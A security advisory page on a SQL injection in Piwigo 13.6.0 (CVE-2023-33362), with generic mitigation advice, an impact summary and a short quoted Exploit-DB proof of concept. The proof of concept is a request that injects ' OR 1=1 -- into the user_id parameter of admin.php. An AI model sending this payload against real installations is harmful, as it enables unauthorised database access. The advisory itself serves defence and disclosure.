ExploitPublished 2 Dec 2025

Piwigo 13.6.0 · SQL Injection

Source Exploit-DB RSS Feed

Mentioned vulnerabilities

CVE-2023-33362

Severity

Medium

Rated by Threat Radar

Data as of 30 Dec 2025, 22:16 UTC

What to do

AI-suggested

1. Restrict administrative access strictly to trusted personnel and enforce strong authentication mechanisms, including multi-factor authentication (MFA). 2. Monitor and audit administrator activity logs for unusual or unauthorized access patterns to detect potential misuse early. 3. Implement robust input validation and sanitization on all user-supplied parameters, especially the 'user_id' parameter in admin.php, by adopting parameterized queries or prepared statements to prevent SQL injection. 4. Deploy a Web Application Firewall (WAF) configured with rules specifically designed to detect and block SQL injection attempts targeting Piwigo. 5. Regularly update Piwigo installations to the latest versions as soon as patches addressing this vulnerability become available. 6. Conduct thorough code reviews and security testing on any custom plugins or modifications to ensure no similar injection flaws exist. 7. Isolate Piwigo servers within segmented network zones to limit lateral movement in case of compromise. 8. Educate administrators on phishing risks and credential security best practices to reduce the likelihood of account compromise. 9. Maintain regular backups of databases and verify their integrity to enable recovery from data tampering or loss. 10. Engage in proactive threat hunting for indicators of compromise related to this vulnerability within organizational networks.

Description

Piwigo 13.6.0 - SQL Injection

Impact

For European organizations, this vulnerability poses a significant threat to the confidentiality, integrity, and availability of data managed within Piwigo installations, which are commonly used for photo galleries and digital asset management. Exploitation could result in unauthorized access to sensitive personal data, intellectual property, or organizational information, potentially causing data breaches and violations of the EU's GDPR regulations. The requirement for admin-level authentication reduces the risk of external attackers but raises concerns about insider threats or compromised administrator accounts. Successful exploitation could also enable attackers to modify or delete data, deface websites, or pivot to other internal systems, disrupting business operations and damaging organizational reputation. Sectors such as media, education, government, and cultural institutions across Europe that rely on Piwigo are particularly vulnerable. The medium severity rating reflects the balance between the need for authentication and the potential damage from exploitation.

Indicators of compromise

Exploit source code

Exploit code for Piwigo 13.6.0 - SQL Injection432 characters

# Exploit Title: Piwigo 13.6.0 - SQL Injection
# Date: 2025-11-25
# Exploit Author: CodeSecLab
# Vendor Homepage:  https://github.com/Piwigo/Piwigo
# Software Link: https://github.com/Piwigo/Piwigo
# Version: 13.6.0 
# Tested on: Windows
# CVE : CVE-2023-33362


Proof Of Concept:
GET /admin.php?page=profile&user_id=' OR 1=1 --  HTTP/1.1
Host: piwigo

Steps to Reproduce
Login as an admin user.
Send the request.
Observe the result

References

Community reviews

Loading reviews…